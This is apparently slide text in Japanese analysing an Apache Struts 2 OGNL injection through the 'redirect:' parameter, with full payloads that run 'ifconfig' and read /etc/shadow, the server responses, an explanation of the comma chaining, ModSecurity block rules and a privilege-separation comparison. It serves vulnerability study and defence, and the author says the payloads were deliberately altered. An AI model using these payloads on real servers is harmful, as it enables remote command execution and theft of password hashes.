Mais conteúdo relacionado Mais de abend_cve_9999_0001 (20) Cve 2013-22518. どうやる?2
http://host//example/HelloWorld.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[] {'if
config'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader (#b),#d=new java.io.BufferedRe
ader(#c),#e=new char[50000],#d.read(),#f= #context.get('com.opensymphony.xwork2.dispatcher.HttpServlet
Response'),#f.getWriter().println (#e),#f.getWriter().flush(),#f.getWriter().close()}
「なんだ、うまくいかないじゃん」という結論は時
期尚早です。
※GETパラメータの値はコピペしても動作しないように、
内容の理解に問題のない個所を2byte変更しています。
以下、GETでアクセス
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Transfer-Encoding: chunked
Date:Wed, 24 Jul 2013 22:35:12GMT
c351
eth0 Link encap:Ethernet HWaddr xx:xx:xx:xx:xx:xx
inet addr:xxx.xxx.xxx.xxx Bcast:xxx.xxx.xxx.xxx Mask:255.255.255.0
レスポンス(抜粋)
↓NIC情報が出力された。
9. さっきのなんだったの?
PoCの③、④、⑤は実行させるJavaが不完全だった。
動作させるために複数のコードを追加されていま
す。「,」(カンマ)で複数のコードを追加可能。
###Used by the DefaultActionMapper
### You may provide a comma separated list, e.g. struts.action.extension=action,jnlp,do
###The blank extension allows you to match directory listings as well as pure action names
### without interfering with static resources, which can be specified as an empty string
### prior to a comma e.g. struts.action.extension=, or struts.action.extension=x,y,z,,
「,」(カンマ)で複数のコードが認識され、実行に
至ったのではないかと推測されます。
色々と調べてみたら、default.propertiesに以下のよう
な記述がありました。
10. さっきのなんだったの?2
01 http://host//example/HelloWorld.action?redirect:${
02 #a=(new java.lang.ProcessBuilder(new java.lang.String[] {'ifconfig'})).start()
03 ,#b=#a.getInputStream()
04 ,#c=new java.io.InputStreamReader (#b)
05 ,#d=new java.io.BufferedReader(#c)
06 ,#e=new char[50000]
07 ,#d.read()
08 ,#f= #context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')
09 ,#f.getWriter().println (#e)
10 ,#f.getWriter().flush()
11 ,#f.getWriter().close()
12 }
※GETのパラメータ値はコピペしても動作しないように、
内容の理解に問題のない個所を2byte変更しています。
※見やすくするため、改行を入れてます。
02で実行させたいコマンドを指定し、それ以降でコ
マンドの実行結果が出力されます。
ココ
15. なんとか、なんないの?2
WAFでリクエストに「action:」、「redirect:」、「re
directAction:」が含まれていたらブロックする。
「Action:」、「aCtion:」や「RedirectAction:」など
を試してみたが、脆弱性が発現されなかったので上
記のパターンでいいのではないか。
じゃあ、どうブロックする?
SecRule ARGS_NAMES "action:" "phase:2,t:none,auditlog,deny,id:'999998'“
SecRule ARGS_NAMES "redirect:" "phase:2,t:none,auditlog,deny,id:'999997'"
SecRule ARGS_NAMES "redirectAction:" "phase:2,t:none,auditlog,deny,id:'999996'"
20. ほかにも3
①権限分離なしの場合
http://host//example/HelloWorld.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[] {’c
at’,’/etc/shadow’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader (#b),#d=new java.io.B
ufferedReader(#c),#e=new char[50000],#d.read(),#f= #context.get('com.opensymphony.xwork2.dispatcher.H
ttpServletResponse'),#f.getWriter().println (#e),#f.getWriter().flush(),#f.getWriter().close()}
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Date: Sat, 27 Jul 2013 05:16:54 GMT
Content-Length: 50001
root:*******************.:xxx:0:99999:7:::
bin:*:xxx:0:99999:7:::
daemon:*:xxx:99999:7:::
/etc/shadowを出力するようにすると・・・
モザイクなしの18禁ばりに見えてる。
レスポンス(抜粋)
※GETパラメータの値はコピペしても動作しないように、
内容の理解に問題のない個所を2byte変更しています。
21. ほかにも4
②権限分離ありの場合
http://host//example/HelloWorld.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.la
ng.String[] {’cat’,’/etc/shadow’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamRe
ader (#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(),#f= #context.get('
com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#f.getWriter().println (#e),#f.get
Writer().flush(),#f.getWriter().close()}
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Date: Sat, 27 Jul 2013 05:31:40 GMT
Content-Length: 50001
同様に/etc/shadowを出力するようにすると・・・
アカウント情報が出力されなくなった。
レスポンス(抜粋)
※GETパラメータの値はコピペしても動作しないように、
内容の理解に問題のない個所を2byte変更しています。